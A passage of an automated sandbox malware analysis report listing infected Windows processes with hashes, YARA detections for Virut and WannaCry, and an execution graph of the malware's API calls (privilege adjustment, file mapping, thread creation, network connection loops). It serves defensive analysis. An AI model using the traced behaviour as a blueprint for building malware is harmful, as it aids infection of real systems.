                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000010.00000000.422923156.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:17
                    Start time:07:04:35
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000002.907202726.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000000.425936763.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000002.906977537.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000000.425952818.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000000.425926004.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000000.425785797.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:18
                    Start time:07:04:36
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000000.428564150.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000002.907000562.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000000.428543118.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000002.907225598.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000000.427843939.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000000.427869609.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:19
                    Start time:07:04:41
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k rpcss -p
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000013.00000000.439459513.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000013.00000000.439079621.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000013.00000000.439510336.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000013.00000002.907220434.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000013.00000000.439025805.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000013.00000002.907013443.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:20
                    Start time:07:04:44
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000000.444706688.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000000.444093697.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000000.444118082.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000002.907267456.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000002.907024100.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000000.444613597.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:21
                    Start time:07:04:45
                    Start date:20/07/2022
                    Path:C:\Windows\System32\dwm.exe
                    Wow64 process (32bit):false
                    Commandline:dwm.exe
                    Imagebase:0x7ff769df0000
                    File size:62464 bytes
                    MD5 hash:70073A05B2B43FFB7A625708BB29E7C7
                    Has elevated privileges:false
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000000.447008515.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000000.447286424.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000002.907231178.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000002.907037913.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000000.446996062.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000000.447263116.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:22
                    Start time:07:04:47
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language

                    General

                    Target ID:23
                    Start time:07:04:52
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language

                    General

                    Target ID:24
                    Start time:07:04:56
                    Start date:20/07/2022
                    Path:C:\Windows\tasksche.exe
                    Wow64 process (32bit):false
                    Commandline:C:\WINDOWS\tasksche.exe /i
                    Imagebase:0x400000
                    File size:3514368 bytes
                    MD5 hash:3233ACED9279EF54267C479BBA665B90
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmp, Author: us-cert code analysis team
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000018.00000000.470364244.000000000040E000.00000008.00000001.01000000.00000005.sdmp, Author: us-cert code analysis team
                    • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                    • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                    Antivirus matches:
                    • Detection: 100%, Avira
                    • Detection: 100%, Joe Sandbox ML

                    General

                    Target ID:25
                    Start time:07:05:00
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language

                    General

                    Target ID:26
                    Start time:07:05:12
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.505527439.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000002.907058748.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:27
                    Start time:07:05:13
                    Start date:20/07/2022
                    Path:C:\Windows\System32\BackgroundTransferHost.exe
                    Wow64 process (32bit):false
                    Commandline:"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                    Imagebase:0x7ff61d3a0000
                    File size:36864 bytes
                    MD5 hash:02BA81746B929ECC9DB6665589B68335
                    Has elevated privileges:true
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language

                    General

                    Target ID:28
                    Start time:07:05:14
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001C.00000000.508695935.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001C.00000002.907097807.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:29
                    Start time:07:05:19
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:false
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001D.00000000.521239097.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001D.00000002.907075148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:30
                    Start time:07:05:21
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001E.00000000.524101903.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001E.00000002.907067234.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:31
                    Start time:07:05:26
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:false
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001F.00000000.534520053.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001F.00000002.907099348.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:32
                    Start time:07:05:30
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000020.00000002.907099325.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000020.00000000.544556070.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:34
                    Start time:07:05:32
                    Start date:20/07/2022
                    Path:C:\Windows\System32\BackgroundTransferHost.exe
                    Wow64 process (32bit):false
                    Commandline:"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                    Imagebase:0x7ff61d3a0000
                    File size:36864 bytes
                    MD5 hash:02BA81746B929ECC9DB6665589B68335
                    Has elevated privileges:true
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language

                    General

                    Target ID:35
                    Start time:07:05:32
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000023.00000000.548612819.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000023.00000002.907099710.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:36
                    Start time:07:05:35
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000024.00000002.907099183.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000024.00000000.554072792.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:38
                    Start time:07:05:41
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language

                    General

                    Target ID:39
                    Start time:07:05:53
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k localservice -p -s EventSystem
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000027.00000000.594298639.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000027.00000002.907103078.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:40
                    Start time:07:05:56
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s Themes
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000028.00000002.907171651.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000028.00000000.598689820.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:41
                    Start time:07:05:57
                    Start date:20/07/2022
                    Path:C:\Windows\System32\svchost.exe
                    Wow64 process (32bit):false
                    Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s lfsvc
                    Imagebase:0x7ff726010000
                    File size:51288 bytes
                    MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000029.00000000.601999991.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000029.00000002.907190241.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                    Disassembly

                    Reset < >

                      Execution Graph

                      Execution Coverage:2.8%
                      Dynamic/Decrypted Code Coverage:0%
                      Signature Coverage:63.2%
                      Total number of Nodes:652
                      Total number of Limit Nodes:2
                      execution_graph 6498 7fea4c6b 6501 7fea4c9e 6498->6501 6502 7fea4caa 6501->6502 6509 7fea4499 6502->6509 6504 7fea4cb7 6505 7fea4499 5 API calls 6504->6505 6508 7fea4d64 6504->6508 6506 7fea4d58 6505->6506 6507 7fea4499 5 API calls 6506->6507 6506->6508 6507->6508 6510 7fea44c2 CreateFileA 6509->6510 6511 7fea44a3 GetFileAttributesA 6509->6511 6514 7fea44fc CreateFileMappingA 6510->6514 6511->6510 6512 7fea44af SetFileAttributesA 6511->6512 6512->6510 6516 7fea4573 MapViewOfFile 6514->6516 6518 7fea45a8 6516->6518 6518->6504 7597 c10000 7598 c10004 7597->7598 7599 c100a1 7598->7599 7601 c1025e 7598->7601 7605 c10105 7601->7605 7604 c10278 7604->7599 7606 c10116 GetPEB 7605->7606 7606->7604 6747 7fea43ad 6748 7fea43b9 6747->6748 6751 7fea43dd 6748->6751 6750 7fea43c4 6754 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6751->6754 6753 7fea43e3 6753->6750 6754->6753 6755 c13888 6757 c1388e GetSystemTime 6755->6757 6758 c138d2 6757->6758 6759 c1390c Sleep 6758->6759 6760 c13a32 6758->6760 6761 c13924 InternetGetConnectedState 6758->6761 6762 c13954 gethostbyname 6758->6762 6765 c13a1f closesocket 6758->6765 6759->6758 6761->6758 6762->6758 6763 c1397a socket 6762->6763 6763->6758 6764 c13990 ioctlsocket connect Sleep 6763->6764 6764->6758 6765->6758 6519 7fea33e0 6520 7fea344e 6519->6520 6521 7fea33e5 6519->6521 6523 7fea345f NtQuerySystemInformation 6520->6523 6527 7fea35f3 6520->6527 6522 7fea346f MapViewOfFile CloseHandle 6521->6522 6524 7fea3440 NtOpenSection 6521->6524 6526 7fea34b0 6522->6526 6522->6527 6523->6522 6524->6520 6525 7fea34b7 UnmapViewOfFile 6525->6527 6526->6525 6526->6527 7611 7fea6620 7612 7fea6647 5 API calls 7611->7612 7613 7fea662a 7612->7613 6805 7fea2665 6807 7fea266b CreateThread CloseHandle 6805->6807 6808 7fea3c38 6807->6808 6810 7fea3c3d 6808->6810 6811 7fea3ca9 6810->6811 6817 7fea3c5b GetWindowsDirectoryA 6810->6817 6865 7fea252f NtOpenSection 6811->6865 6813 7fea3cae 6815 7fea3cfb GetSystemDirectoryA 6813->6815 6816 7fea3cb5 6813->6816 6910 7fea3d1f lstrcat 6815->6910 6866 7fea3cc2 GetModuleHandleA 6816->6866 6818 7fea3d26 6817->6818 6952 7fea3d36 LoadLibraryA 6818->6952 6865->6813 6867 7fea3ccc 6866->6867 6868 7fea3cde 6866->6868 6870 7fea3cd4 GetProcAddress 6867->6870 6993 7fea3cf0 GetModuleHandleA 6868->6993 6870->6868 6911 7fea3d26 6910->6911 6912 7fea3d36 151 API calls 6911->6912 6913 7fea3d2b GetProcAddress LoadLibraryA 6912->6913 6915 7fea3d7d 6913->6915 6916 7fea10ce 2 API calls 6913->6916 6917 7fea3d92 GetTickCount 6915->6917 6916->6915 6918 7fea3daa 6917->6918 6919 7fea3e47 GetVolumeInformationA 6918->6919 6920 7fea3e7a 6919->6920 6921 7fea3f25 6920->6921 6922 7fea3eb5 96 API calls 6920->6922 6923 7fea3f4f 6921->6923 6924 7fea3f31 CreateThread CloseHandle 6921->6924 6925 7fea3ea9 6922->6925 6926 7fea3f60 43 API calls 6923->6926 6924->6923 6925->6921 6928 7fea3eca GetModuleFileNameA wsprintfA 6925->6928 6927 7fea3f54 6926->6927 6929 7fea3f7e 6927->6929 6930 7fea10ce 2 API calls 6927->6930 6932 7fea3f14 6928->6932 6931 7fea3f8f 23 API calls 6929->6931 6930->6929 6933 7fea3f83 6931->6933 6932->6921 6934 7fea3405 5 API calls 6932->6934 6935 7fea3fd6 CreateThread CloseHandle 6933->6935 6936 7fea3ffa CreateEventA 6933->6936 6934->6921 6935->6936 6947 7fea4012 6936->6947 6937 7fea4056 lstrlen 6937->6937 6938 7fea4065 gethostbyname 6937->6938 6938->6947 6939 7fea4320 RtlExitUserThread 6940 7fea4081 socket 6941 7fea40a6 connect 6940->6941 6940->6947 6943 7fea42b7 closesocket 6941->6943 6941->6947 6942 7fea42d0 SetEvent 6942->6947 6943->6947 6944 7fea42f2 Sleep ResetEvent 6944->6947 6945 7fea40ef GetVersionExA 6945->6947 6946 7fea4172 wsprintfA 6946->6947 6947->6937 6947->6938 6947->6939 6947->6940 6947->6942 6947->6943 6947->6944 6947->6945 6947->6946 6948 7fea41a7 CreateThread CloseHandle 6947->6948 6949 7fea41f6 GetTickCount 6947->6949 6950 7fea4288 Sleep 6947->6950 6948->6947 6949->6947 6950->6947 6951 7fea4294 GetTickCount 6950->6951 6951->6947 7151 7fea3d4b GetProcAddress LoadLibraryA 6952->7151 7036 7fea26d4 6993->7036 6996 7fea3d1f 179 API calls 6997 7fea3d12 GetProcAddress LoadLibraryA 6996->6997 6999 7fea3d7d 6997->6999 7000 7fea10ce 2 API calls 6997->7000 7001 7fea3d92 GetTickCount 6999->7001 7000->6999 7002 7fea3daa 7001->7002 7003 7fea3e47 GetVolumeInformationA 7002->7003 7004 7fea3e7a 7003->7004 7005 7fea3f25 7004->7005 7038 7fea3eb5 LoadLibraryA 7004->7038 7007 7fea3f4f 7005->7007 7008 7fea3f31 CreateThread CloseHandle 7005->7008 7070 7fea3f60 LoadLibraryA 7007->7070 7008->7007 7037 7fea26c8 GetSystemDirectoryA 7036->7037 7037->6996 7092 7fea3ecc GetProcAddress GetModuleFileNameA wsprintfA 7038->7092 7071 7fea10ce 2 API calls 7070->7071 7072 7fea3f7e 7071->7072 7073 7fea3f8f 23 API calls 7072->7073 7074 7fea3f83 7073->7074 7075 7fea3fd6 CreateThread CloseHandle 7074->7075 7076 7fea3ffa CreateEventA 7074->7076 7075->7076 7087 7fea4012 7076->7087 7077 7fea4056 lstrlen 7077->7077 7078 7fea4065 gethostbyname 7077->7078 7078->7087 7079 7fea4320 RtlExitUserThread 7080 7fea4081 socket 7081 7fea40a6 connect 7080->7081 7080->7087 7083 7fea42b7 closesocket 7081->7083 7081->7087 7082 7fea42d0 SetEvent 7082->7087 7083->7087 7084 7fea42f2 Sleep ResetEvent 7084->7087 7085 7fea40ef GetVersionExA 7085->7087 7086 7fea4172 wsprintfA 7086->7087 7087->7077 7087->7078 7087->7079 7087->7080 7087->7082 7087->7083 7087->7084 7087->7085 7087->7086 7088 7fea41a7 CreateThread CloseHandle 7087->7088 7089 7fea41f6 GetTickCount 7087->7089 7090 7fea4288 Sleep 7087->7090 7088->7087 7089->7087 7090->7087 7091 7fea4294 GetTickCount 7090->7091 7091->7087 7093 7fea3f14 7092->7093 7094 7fea3f25 7093->7094 7121 7fea3405 7093->7121 7096 7fea3f4f 7094->7096 7097 7fea3f31 CreateThread CloseHandle 7094->7097 7098 7fea3f60 43 API calls 7096->7098 7097->7096 7099 7fea3f54 7098->7099 7100 7fea3f7e 7099->7100 7101 7fea10ce 2 API calls 7099->7101 7130 7fea3f8f LoadLibraryA 7100->7130 7101->7100 7122 7fea343b 7121->7122 7122->7122 7123 7fea3440 NtOpenSection 7122->7123 7124 7fea344e 7123->7124 7125 7fea345f NtQuerySystemInformation 7124->7125 7126 7fea35f3 7124->7126 7127 7fea346f MapViewOfFile CloseHandle 7125->7127 7126->7094 7127->7126 7129 7fea34b0 7127->7129 7128 7fea34b7 UnmapViewOfFile 7128->7126 7129->7126 7129->7128 7131 7fea3f9d 7130->7131 7132 7fea4320 RtlExitUserThread 7130->7132 7133 7fea10ce 2 API calls 7131->7133 7134 7fea3fb5 7133->7134 7134->7132 7135 7fea3fc2 WSAStartup CreateThread CloseHandle 7134->7135 7136 7fea3ffa CreateEventA 7135->7136 7148 7fea4012 7136->7148 7137 7fea4056 lstrlen 7137->7137 7138 7fea4065 gethostbyname 7137->7138 7138->7148 7139 7fea4081 socket 7140 7fea40a6 connect 7139->7140 7139->7148 7142 7fea42b7 closesocket 7140->7142 7140->7148 7141 7fea42d0 SetEvent 7141->7148 7142->7148 7143 7fea42f2 Sleep ResetEvent 7143->7148 7144 7fea40ef GetVersionExA 7144->7148 7145 7fea4172 wsprintfA 7145->7148 7146 7fea41a7 CreateThread CloseHandle 7146->7148 7147 7fea41f6 GetTickCount 7147->7148 7148->7132 7148->7137 7148->7138 7148->7139 7148->7141 7148->7142 7148->7143 7148->7144 7148->7145 7148->7146 7148->7147 7149 7fea4288 Sleep 7148->7149 7149->7148 7150 7fea4294 GetTickCount 7149->7150 7150->7148 7152 7fea10ce 2 API calls 7151->7152 7153 7fea3d7d 7152->7153 7154 7fea3d92 GetTickCount 7153->7154 7155 7fea3daa 7154->7155 7156 7fea3e47 GetVolumeInformationA 7155->7156 7157 7fea3e7a 7156->7157 7158 7fea3f25 7157->7158 7159 7fea3eb5 96 API calls 7157->7159 7160 7fea3f4f 7158->7160 7161 7fea3f31 CreateThread CloseHandle 7158->7161 7162 7fea3ea9 7159->7162 7163 7fea3f60 43 API calls 7160->7163 7161->7160 7162->7158 7165 7fea3eca GetModuleFileNameA wsprintfA 7162->7165 7164 7fea3f54 7163->7164 7166 7fea3f7e 7164->7166 7167 7fea10ce 2 API calls 7164->7167 7169 7fea3f14 7165->7169 7168 7fea3f8f 23 API calls 7166->7168 7167->7166 7170 7fea3f83 7168->7170 7169->7158 7171 7fea3405 5 API calls 7169->7171 7172 7fea3fd6 CreateThread 